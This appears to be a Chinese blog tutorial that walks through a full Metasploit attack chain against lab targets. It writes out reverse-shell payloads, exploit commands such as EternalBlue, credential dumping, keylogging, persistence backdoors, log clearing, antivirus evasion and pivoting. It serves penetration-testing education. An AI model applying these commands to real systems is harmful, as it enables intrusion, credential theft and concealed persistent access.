Kali Linux与Metasploit实战:从漏洞扫描到后渗透的完整攻击链构建

📅 2026/7/5 11:34:48
Kali Linux与Metasploit实战:从漏洞扫描到后渗透的完整攻击链构建
1. 项目概述从扫描到控制的渗透测试实战路径如果你对网络安全感兴趣或者正在学习渗透测试那么“Kali Linux”和“Metasploit”这两个词对你来说一定不陌生。前者是渗透测试领域的“瑞士军刀”操作系统集成了海量安全工具后者则是这个领域当之无愧的“王者框架”一个集漏洞利用、载荷投递、后渗透于一体的强大平台。但很多新手朋友在初次接触时往往会陷入一个困境工具都会用命令也记得住但面对一个真实的目标如何将这些零散的知识点串联成一条完整的攻击链从最初的漏洞扫描到最终拿到系统控制权并进行深度操作这中间的每一步该如何衔接又有什么坑需要提前避开这正是我们今天要深入探讨的核心。我将以一个完整的实战视角带你走一遍从信息收集、漏洞扫描、利用攻击到后渗透阶段权限维持、横向移动的完整流程。这不是简单的命令罗列而是结合我多年在红队演练和教学中的经验拆解每个环节背后的逻辑、工具选型的考量以及那些只有踩过坑才知道的注意事项。无论你是刚入门的安全爱好者还是希望系统化提升实战能力的从业者这篇指南都将为你提供一个清晰、可复现的路线图。我们会基于经典的Metasploitable2和Windows 7这类实验靶机环境确保你能在安全、合法的环境中亲手实践每一个步骤真正理解攻击者的思维和防御者的盲点。2. 环境搭建与核心工具解析在开始任何实战之前一个稳定、隔离的实验环境是重中之重。这不仅是为了遵守法律和道德规范更是为了让你能放心大胆地测试各种攻击手法而不用担心造成实际损害。2.1 实验环境拓扑设计与网络配置一个典型的渗透测试实验环境至少需要三台虚拟机攻击机、靶机A通常为存在多种漏洞的Linux系统如Metasploitable2、靶机B通常为存在特定服务漏洞的Windows系统。我强烈建议使用VMware Workstation或VirtualBox这类虚拟机软件来构建整个环境。网络模式的选择是关键。为了模拟真实的网络环境同时保证攻击机与靶机之间的双向通信我通常将所有虚拟机的网络适配器设置为“NAT模式”或“仅主机模式”。这两种模式都能让虚拟机之间相互通信同时与物理主机隔离。对于初学者“NAT模式”更容易上手虚拟机会通过宿主机的网络地址转换NAT功能上网并且它们处于同一个虚拟子网内可以互相ping通。你可以在攻击机Kali Linux上使用ifconfig或ip addr命令查看自己的IP地址通常是192.168.xxx.xxx然后在靶机上配置同网段的静态IP或使用DHCP自动获取。注意确保你的物理主机防火墙没有阻止虚拟机之间的通信。有时Windows Defender或第三方杀毒软件会误判虚拟机间的流量为恶意攻击而进行拦截。在实验初期可以暂时在物理主机上关闭防火墙进行测试待环境通联正常后再研究如何配置规则放行。靶机准备Metasploitable2是一个故意设计存在大量漏洞的Ubuntu Linux镜像非常适合学习。下载后直接导入虚拟机即可默认用户名/密码通常是msfadmin/msfadmin。Windows 7或Windows Server 2008 R2等老旧系统则需要在微软官网寻找评估版镜像进行安装。务必确保这些靶机永不接入互联网并在虚拟机设置中禁用“拖放”、“复制粘贴”等功能防止潜在的虚拟机逃逸风险。2.2 Metasploit框架深度剖析不仅仅是msfconsole提到Metasploit很多人第一反应就是打开终端输入msfconsole。这没错但Metasploit远不止一个控制台。它是一整套工具集理解其架构能让你用起来更得心应手。核心组件msfconsole这是最强大、最常用的交互式界面。它提供了一个集中的命令环境可以搜索、加载、配置和运行所有模块。其内置的Ruby解释器甚至允许你编写简单的脚本来自动化任务。msfvenom这是载荷生成器。它的前身是msfpayload和msfencode的结合体。它的核心任务是根据你的需求生成在各种平台Windows, Linux, Android, PHP等上执行的恶意载荷Payload并可以对其进行编码、加密以绕过基础的静态检测。例如生成一个Windows反向TCP连接的Meterpreter载荷msfvenom -p windows/meterpreter/reverse_tcp LHOST192.168.1.10 LPORT4444 -f exe -o payload.exe。这里的-p指定载荷类型LHOST是你的监听IPLPORT是监听端口-f指定输出格式-o指定输出文件名。Armitage这是Metasploit的图形化界面基于Java开发。它通过可视化方式展示网络拓扑、主机、服务并能图形化地发起攻击和管理会话。对于新手理解攻击流程非常有帮助但资深测试者往往更偏爱msfconsole的高效和灵活。数据库支持Metasploit可以连接PostgreSQL数据库。启用数据库支持在Kali中通常已预配置使用msfdb init和msfdb start后你可以将扫描结果、漏洞信息、凭证等结构化存储便于搜索、关联和生成报告。在msfconsole中使用db_status命令可以检查数据库连接状态。模块类型解析Metasploit的强大在于其模块化。所有功能都以模块形式存在主要分为Exploit漏洞利用模块利用特定漏洞的代码。例如exploit/windows/smb/ms17_010_eternalblue。Auxiliary辅助模块执行信息收集、扫描、嗅探、爆破等辅助性任务。例如auxiliary/scanner/portscan/tcp。Payload载荷模块在成功利用漏洞后希望在目标系统上运行的代码。例如windows/meterpreter/reverse_tcp。Post后渗透模块在已建立会话Session后用于进一步搜集信息、提升权限、横向移动的模块。Encoder编码器模块用于对载荷进行编码以规避杀毒软件AV的签名检测。NOP空指令模块在漏洞利用过程中保持缓冲区大小稳定。理解这些组件和模块类型就像理解了工具箱里每件工具的用途接下来我们才能开始“干活”。3. 第一阶段主动侦察与漏洞扫描渗透测试的第一步不是盲目攻击而是有策略地收集信息。这一阶段的目标是绘制目标网络地图识别开放的服务、端口以及潜在的脆弱点。3.1 信息收集超越简单的Ping扫描在直接使用Metasploit之前我们通常会用更基础的工具进行初步探测。nmap是无可争议的王者。但这里我想分享几个比单纯nmap -sS -sV target_ip更有效的策略。综合扫描策略对于一台未知主机我习惯分三步走快速存活探测nmap -sn 192.168.1.0/24。这个命令只进行Ping扫描快速找出网络中存活的主机不扫描端口。在大型网络中这能节省大量时间。全端口与服务版本探测针对存活的主机进行深度扫描。nmap -p- -sV -sC -O -T4 target_ip。解释一下参数-p-扫描所有65535个端口-sV探测服务版本-sC使用默认的Nmap脚本进行更深入的探测可能包含漏洞检查-O尝试识别操作系统-T4指定扫描速度0-5数字越大越快。这个命令可能会运行较长时间但信息最全。针对性漏洞扫描根据上一步发现的特定服务如Apache 2.4.49, OpenSSH 7.2p2使用专门的漏洞扫描工具或Nmap的漏洞脚本--script vuln进行探测。例如nmap -p 80 --script http-vuln* target_ip。将Nmap结果导入Metasploit这是提升效率的关键技巧。在msfconsole中你可以使用db_import命令将Nmap的XML格式扫描结果直接导入数据库。首先用Nmap扫描并保存为XMLnmap -sV -oX scan_result.xml target_ip。然后在msfconsole中db_import /path/to/scan_result.xml。导入后使用hosts和services命令即可查看所有已发现的主机和服务信息这些信息可以被Metasploit的模块直接调用。3.2 利用Metasploit辅助模块进行深度扫描当基础信息收集完毕后Metasploit的辅助模块就派上用场了。它们比Nmap脚本更专业集成度更高。端口扫描虽然Nmap很强大但Metasploit内置的端口扫描器有时在规避防火墙或IDS时可能有奇效。使用方法msf6 use auxiliary/scanner/portscan/tcp msf6 auxiliary(scanner/portscan/tcp) set RHOSTS 192.168.1.105 msf6 auxiliary(scanner/portscan/tcp) set PORTS 1-1000 # 扫描端口范围 msf6 auxiliary(scanner/portscan/tcp) set THREADS 50 # 并发线程数提高速度 msf6 auxiliary(scanner/portscan/tcp) runSMB服务扫描与枚举对于Windows系统SMBServer Message Block服务是信息宝库。我们可以用它来获取操作系统版本、主机名、甚至共享目录。msf6 use auxiliary/scanner/smb/smb_version msf6 auxiliary(scanner/smb/smb_version) set RHOSTS 192.168.1.106 msf6 auxiliary(scanner/smb/smb_version) run如果发现了SMB服务进一步使用auxiliary/scanner/smb/smb_enumshares可以枚举共享文件夹auxiliary/scanner/smb/smb_login可以进行密码爆破务必仅在授权测试环境中进行。SNMP社区字符串枚举网络设备路由器、交换机或旧版系统常开启SNMP服务且默认社区字符串Community String可能是公开的public或private。利用auxiliary/scanner/snmp/snmp_login模块可以爆破社区字符串成功后使用auxiliary/scanner/snmp/snmp_enum可以枚举出大量的系统信息包括网络接口、运行进程、用户列表等价值极高。实操心得辅助模块的RHOSTS参数支持多种格式如单个IP192.168.1.100IP范围192.168.1.1-254CIDR格式192.168.1.0/24甚至是从文件读取file:/path/to/ip_list.txt。合理利用可以批量操作。另外在运行任何扫描模块前务必用show options查看所有可配置参数像THREADS并发数、ConnectTimeout连接超时这些参数根据网络状况调整能显著影响扫描效率和隐蔽性。3.3 漏洞扫描与验证从SearchSploit到WMAP发现开放服务和版本后下一步是寻找对应的漏洞。本地漏洞库搜索SearchSploit。Kali Linux内置了Exploit-DB的本地副本使用searchsploit命令可以离线搜索。它的优势是快且不依赖网络。searchsploit apache 2.4.49搜索Apache 2.4.49相关漏洞。searchsploit -p 49757查看编号为49757的漏洞的本地存放路径。searchsploit -m 49757将编号49757的漏洞利用代码复制到当前目录。集成化Web漏洞扫描WMAP。对于Web应用Metasploit的WMAP插件是一个强大的扫描器。它本质上是一个调度器协调多个独立的Web评估模块如sql注入、XSS扫描模块协同工作。在msfconsole中加载WMAPload wmap添加目标站点wmap_sites -a http://192.168.1.105/将站点设为扫描目标wmap_targets -d 00是站点ID可通过wmap_sites -l查看运行测试wmap_run -e查看结果扫描完成后使用vulns命令或wmap_vulns -l查看发现的漏洞。注意事项WMAP的扫描可能比较耗时且会产生大量日志。在生产环境中使用需谨慎。它的扫描结果存储在Metasploit的数据库中便于后续生成报告。但需要注意的是WMAP的漏洞检测基于插件可能存在误报和漏报所有发现都必须进行手工验证。4. 第二阶段漏洞利用与初始访问找到漏洞后就到了最关键的环节——利用漏洞获得目标系统的初始访问权限。这一阶段成功与否取决于对漏洞原理的理解和对利用模块的精确配置。4.1 选择与配置Exploit模块在msfconsole中使用search命令查找漏洞。例如针对著名的永恒之蓝漏洞search ms17-010。在结果列表中你会看到exploit/windows/smb/ms17_010_eternalblue和auxiliary/scanner/smb/smb_ms17_010扫描模块。我们选择利用模块。msf6 use exploit/windows/smb/ms17_010_eternalblue msf6 exploit(windows/smb/ms17_010_eternalblue) show optionsshow options会显示所有需要设置的参数。其中RHOSTS目标IP是必须的。PAYLOAD载荷通常有默认值但我们需要根据情况选择。Payload的选择艺术Payload决定了你成功利用漏洞后在目标机器上获得什么样的交互能力。主要分两类Bind绑定型在目标机器上打开一个监听端口等待攻击者连接。payload/windows/meterpreter/bind_tcpReverse反向连接型让目标机器主动连接攻击者指定的IP和端口。payload/windows/meterpreter/reverse_tcp在实战中反向连接Reverse载荷是首选。因为目标机器出站连接到攻击机的行为比攻击机主动连接目标机器新开的端口更不容易被防火墙规则拦截企业防火墙通常允许内部主机向外发起连接。所以我们需要设置LHOST监听IP即攻击机IP和LPORT监听端口。msf6 exploit(windows/smb/ms17_010_eternalblue) set RHOSTS 192.168.1.106 msf6 exploit(windows/smb/ms17_010_eternalblue) set PAYLOAD windows/x64/meterpreter/reverse_tcp msf6 exploit(windows/smb/ms17_010_eternalblue) set LHOST 192.168.1.10 msf6 exploit(windows/smb/ms17_010_eternalblue) set LPORT 4444 msf6 exploit(windows/smb/ms17_010_eternalblue) run如果一切顺利你会看到[*] Sending stage...和[*] Meterpreter session 1 opened的提示这意味着你已经成功建立了Meterpreter会话获得了目标系统的初始访问权。4.2 针对不同服务漏洞的利用实例除了SMB其他常见服务漏洞的利用流程大同小异关键在于找到正确的模块和配置。利用Web服务漏洞如Struts2假设通过扫描发现目标运行Apache Struts 2.3.34存在S2-045漏洞。msf6 search struts2 msf6 use exploit/multi/http/struts2_content_type_ognl msf6 exploit(multi/http/struts2_content_type_ognl) set RHOSTS 192.168.1.105 msf6 exploit(multi/http/struts2_content_type_ognl) set TARGETURI /showcase.action # 漏洞路径 msf6 exploit(multi/http/struts2_content_type_ognl) set PAYLOAD linux/x64/meterpreter/reverse_tcp msf6 exploit(multi/http/struts2_content_type_ognl) set LHOST 192.168.1.10 msf6 exploit(multi/http/struts2_content_type_ognl) run利用FTP服务漏洞对于像ProFTPD这样已知存在后门或命令执行漏洞的服务。msf6 search proftpd msf6 use exploit/unix/ftp/proftpd_modcopy_exec msf6 exploit(unix/ftp/proftpd_modcopy_exec) set RHOSTS 192.168.1.105 msf6 exploit(unix/ftp/proftpd_modcopy_exec) set SITEPATH /var/www/html # 可写路径 msf6 exploit(unix/ftp/proftpd_modcopy_exec) set PAYLOAD cmd/unix/reverse_bash msf6 exploit(unix/ftp/proftpd_modcopy_exec) set LHOST 192.168.1.10 msf6 exploit(unix/ftp/proftpd_modcopy_exec) run踩坑记录漏洞利用失败最常见的原因有几个。第一目标不适用模块的TARGET参数操作系统版本、语言包设置错误用show targets查看并选择正确的目标。第二Payload不匹配32位系统用了64位Payload或者系统架构x86, x64, ARM选错。第三网络不通或防火墙拦截确保LHOST和LPORT设置正确且攻击机的监听端口未被占用目标机到攻击机的反向连接未被防火墙阻止。第四漏洞利用本身不稳定某些漏洞利用尤其是内存破坏类可能因为系统补丁、ASLR等因素导致成功率不是100%可以多尝试几次或寻找替代利用模块。5. 第三阶段后渗透操作与权限维持成功获得一个Meterpreter会话Session只是开始。后渗透阶段的目标是提升权限、搜集信息、建立持久化访问并尽可能在目标网络中横向移动。5.1 Meterpreter基础文件系统与系统信息操作Meterpreter是一个功能极其强大的内存驻留型Payload它通过加密通道与攻击者通信并在目标内存中运行避免在磁盘上留下文件痕迹某些阶段可能需要。进入会话后你会看到meterpreter 提示符。常用命令sysinfo查看目标系统信息计算机名、操作系统、架构等。getuid查看当前Meterpreter会话的权限级别。如果是普通用户如NT AUTHORITY\LOCAL SERVICE很多操作会受到限制。shell切换到目标系统的标准命令行cmd或bash。使用exit可以返回Meterpreter。pwd/cd/ls操作目标文件系统。upload /local/path/file.exe C:\\Windows\\Temp\\上传文件到目标。download C:\\Windows\\System32\\config\\SAM .从目标下载文件到攻击机当前目录。screenshot截取目标桌面屏幕。keyscan_start/keyscan_dump/keyscan_stop启动键盘记录、导出记录、停止记录。5.2 权限提升从User到System在Windows系统中SYSTEM账户拥有最高权限。getuid显示不是NT AUTHORITY\SYSTEM时就需要提权。使用内置命令提权Meterpreter提供了getsystem命令它会尝试多种技术如命名管道模拟、令牌复制来提升权限。成功率取决于系统配置和补丁情况。直接输入getsystem即可尝试。利用本地漏洞提权如果getsystem失败说明系统可能打了相关补丁。这时需要寻找未修复的本地提权漏洞。首先在攻击机上搜索本地提权漏洞模块msf6 search platform:windows type:exploit local根据sysinfo获取的系统版本和补丁信息选择合适的模块。例如针对Windows 7 SP1可能尝试exploit/windows/local/ms16_032_secondary_logon_handle_privesc。关键一步你需要将这个本地漏洞利用模块“注入”到已有的Meterpreter会话中。msf6 exploit(windows/local/ms16_032_secondary_logon_handle_privesc) set SESSION 1 # 设置当前已有的会话ID msf6 exploit(windows/local/ms16_032_secondary_logon_handle_privesc) run如果成功你会获得一个新的、具有SYSTEM权限的Meterpreter会话。从Linux普通用户到RootLinux下提权思路类似。先用sudo -l查看当前用户可以免密执行哪些命令寻找配置不当的SUID文件find / -perm -us -type f 2/dev/null或者搜索内核漏洞。Metasploit也有对应的Linux本地提权模块如exploit/linux/local/...使用方法与Windows类似需要设置SESSION。5.3 信息搜集与凭证窃取提升权限后就可以深入搜集敏感信息了。Windows哈希抓取使用hashdump命令可以尝试从SAM数据库中提取本地用户的NTLM哈希。但高版本Windows如Win10/Server 2016默认在内存中不存储明文密码的哈希而是存储“哈希的哈希”。这时需要使用kiwi或mimikatz扩展。meterpreter load kiwi # 加载kiwi扩展Mimikatz的Meterpreter版 meterpreter creds_all # 尝试从内存中提取各种凭证明文密码、哈希、票据获取的NTLM哈希可以用于“哈希传递”攻击在域环境中横向移动。Linux密码与密钥搜集检查/etc/passwd和/etc/shadow需要root权限查看/home目录下的.bash_history、.ssh/id_rsa私钥等文件。网络配置与邻接关系ipconfig/ifconfig查看目标网络接口信息。arp查看ARP缓存发现同一网段的其他主机。netstat -ano(Win) /netstat -tulpn(Linux)查看网络连接和监听端口发现内部其他服务或主机。5.4 持久化与横向移动为了在目标重启或会话断开后还能维持访问需要建立持久化后门。Meterpreter持久化脚本Meterpreter的persistence脚本可以创建注册表启动项、计划任务等。meterpreter run persistence -U -i 30 -p 4444 -r 192.168.1.10-U用户登录时触发。-i 30每30秒尝试连接一次。-p 4444/-r 192.168.1.10连接回攻击机的IP和端口。生成独立后门程序使用msfvenom生成一个独立的可执行文件将其放置在目标机器的启动目录或通过其他方式诱骗执行。这是更隐蔽的方式因为后门程序与最初的漏洞利用无关。横向移动利用已获取的凭证密码或哈希访问网络中的其他机器。SMB登录使用auxiliary/scanner/smb/smb_login模块用抓取到的哈希或密码尝试登录其他主机的445端口。Psexec如果获得了某台主机的管理员凭证可以使用exploit/windows/smb/psexec模块直接获取该主机的Shell。设置SMBUser,SMBPass(或SMBPass处直接填入NTLM哈希)以及RHOSTS为目标主机IP。利用WMIexploit/windows/smb/wmi_exec是另一种远程执行命令的方式可能绕过某些对PsExec的检测。6. 第四阶段痕迹清理与报告撰写在授权的渗透测试中清理痕迹和撰写报告是收尾工作同样重要。6.1 清理入侵痕迹在测试结束后应尽量清除留下的工具、后门和日志以模拟高级攻击者的行为并帮助客户了解哪些痕迹需要被监控。清除日志在Meterpreter中使用clearev命令可以清除Windows的事件日志Application, Security, System。在Linux中需要手动清理/var/log/目录下的相关日志文件如auth.log,secure,messages以及当前用户的.bash_history。删除上传的工具和文件使用rm命令删除上传的后门程序、脚本等。对于通过持久化脚本创建的计划任务或注册表项也需要手动删除。在Windows上可以查看注册表路径HKLM\Software\Microsoft\Windows\CurrentVersion\Run和计划任务库在Linux上检查/etc/crontab,/etc/cron.*/以及用户crontab (crontab -l)。重要提示清理痕迹必须严格遵守测试授权范围。在某些“取证对抗”类型的测试中可能明确要求保留痕迹以检验蓝队的检测能力。行动前务必与客户确认。6.2 从数据到洞察渗透测试报告的核心渗透测试的最终价值体现在报告中。一份好的报告不仅是漏洞列表更是风险分析和解决方案的蓝图。报告结构建议执行摘要用非技术语言向管理层汇报测试概况、发现的最关键风险、整体安全态势评价。测试范围与方法明确测试的目标系统、IP地址、时间窗口、使用的技术方法黑盒/白盒/灰盒。详细发现这是报告的主体。建议按风险等级危急、高危、中危、低危对漏洞进行分类。每个漏洞应包含漏洞标题清晰描述问题。风险等级CVSS评分或自定义评级。受影响资产具体的URL、IP、服务。漏洞描述解释漏洞的原理。验证步骤提供详细的复现步骤命令、截图证明漏洞真实存在。潜在影响攻击者利用此漏洞可能造成什么后果数据泄露、系统控制等。修复建议提供具体、可操作的修复方案如升级版本、修改配置、添加过滤。攻击路径复盘用图表形式展示从外网突破到内网横向移动的完整攻击链直观展示系统性风险。附录包含工具列表、扫描原始数据可选、参考资料等。报告撰写技巧避免堆砌技术术语面向不同的读者技术、管理、审计要有侧重点。多使用图表少用大段文字。每一个“高危”漏洞都必须有确凿的截图或证据支撑。修复建议要避免“加强安全意识”这类空话而应给出具体的配置命令、补丁链接或代码修改示例。7. 常见问题排查与进阶技巧实录即使按照指南操作你也一定会遇到各种问题。这里记录了一些高频问题和我的解决思路。7.1 连接与会话管理问题问题1运行exploit后一直卡在[*] Started reverse TCP handler...没有返回会话。排查思路检查Payload和参数确认LHOST设置的是攻击机真实且与靶机网络互通的IP。在NAT模式下可能是虚拟网卡的IP如192.168.10.129而不是物理机IP。检查监听器在另一个终端运行netstat -tulnp | grep 4444查看4444端口是否已被Metasploit的handler正确监听。有时之前的测试未结束端口被占用。检查防火墙关闭攻击机和靶机尤其是Windows靶机的防火墙进行测试。Windows Defender也可能拦截反向连接。检查漏洞利用本身该漏洞利用是否适用于目标系统版本、补丁尝试换用其他Payload如reverse_http或reverse_https它们可能走80/443端口更易过防火墙。使用exploit -j -z-j将任务置于后台-z不立即与会话交互。这样即使没成功也不会阻塞控制台可以继续尝试其他模块。问题2Meterpreter会话建立后很快断开或执行命令无响应。排查思路网络不稳定虚拟机网络模式设置问题或存在ARP欺骗干扰。确保网络环境稳定。Payload不稳定某些漏洞利用过程可能不稳定导致会话进程崩溃。尝试使用更稳定的meterpreter载荷或者使用stageless的Payload如windows/x64/meterpreter_reverse_tcp它体积更大但更稳定。杀毒软件拦截目标机器上的实时防护软件可能检测并杀掉了Meterpreter进程。需要使用编码、加密或混淆技术msfvenom的-e和-i参数来绕过或者尝试纯shell载荷windows/shell_reverse_tcp。会话迁移尽快使用migrate命令将Meterpreter进程迁移到一个稳定的系统进程如lsass.exe,svchost.exe中。run post/windows/manage/migrate可以自动完成。7.2 权限提升与绕过防御问题问题3getsystem命令总是失败本地提权模块也利用不成功。进阶思路信息搜集要彻底使用run post/windows/gather/enum_patches或systeminfo命令精确列出目标已安装的补丁。然后搜索针对这些特定补丁缺失的提权漏洞。尝试多种提权模块Metasploit的post/multi/recon/local_exploit_suggester模块可以自动根据系统信息推荐可能成功的本地提权模块非常有用。手动提权如果自动化工具都失败需要手动检查。例如在Windows上检查是否有权限修改服务二进制路径、计划任务或者利用AlwaysInstallElevated、组策略首选项等错误配置。在Linux上仔细分析sudo -l的输出寻找可以以root身份运行的命令并利用其提权如利用find、vim、python等。问题4杀毒软件总是删除上传的后门或Meterpreter进程。对抗技巧编码与加密msfvenom使用-e x86/shikata_ga_nai编码和-i 10迭代次数进行多次编码可以绕过基于签名的检测。结合-k选项可以保留原有功能。分离加载器生成一个不包含恶意功能的“加载器”Dropper其唯一作用是从远程服务器下载真正的Payload并在内存中执行。这样本地的文件是“干净”的。使用合法进程注入将Shellcode注入到explorer.exe,notepad.exe等白名单进程中。Meterpreter的migrate命令就是一种注入。也可以使用msfvenom生成格式为psh-reflection的Payload通过PowerShell在内存中直接执行不落盘。定制Payload完全自己编写或修改现有的Shellcode改变其特征码。7.3 内网横向移动与隧道搭建当攻击机在内网而目标也在内网时就需要搭建隧道。问题5如何让外网的攻击机访问内网中不出网的目标解决方案端口转发与SOCKS代理。Meterpreter端口转发在已控的内网机器跳板机上使用portfwd命令。例如将跳板机本地3389端口转发到攻击机的2222端口portfwd add -L 0.0.0.0 -l 2222 -p 3389 -r 内网目标IP。然后攻击机连接自己的2222端口就等于连接了内网目标的3389端口。建立SOCKS代理使用auxiliary/server/socks_proxy模块在攻击机上开启一个SOCKS4a/5代理服务器。然后在已控的跳板机上使用Meterpreter的autoroute脚本添加路由run autoroute -s 10.0.0.0/24假设内网网段。最后在攻击机上配置浏览器或proxychains等工具通过这个SOCKS代理去访问内网资源。这是更通用的方法。问题6横向移动时使用抓取的哈希进行PsExec攻击失败。排查思路哈希格式确保哈希格式正确是LMHASH:NTHASH的形式如果LM哈希为空则用32个0填充如aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0。UAC限制Windows Vista之后的系统即使使用管理员凭证远程访问时也可能受UAC影响。尝试使用exploit/windows/smb/psexec_psh基于PowerShell模块或者先尝试使用wmic或schtasks进行远程命令执行。防火墙与杀软目标机器的防火墙可能阻止了445端口SMB或135端口WMI的入站连接或者杀软拦截了PsExec的行为。渗透测试是一门需要不断实践和思考的艺术。这套从扫描到后渗透的流程是一个标准框架但面对真实世界中复杂的网络环境、层出不穷的防御设备你需要灵活变通将各种工具和技巧组合使用。最重要的是始终保持学习的心态关注新的漏洞、新的利用技术和新的防御手段才能在攻防的博弈中不断进步。记住所有的技术都应在法律授权和道德准则的框架内使用你的目标是帮助构建更安全的网络而非破坏它。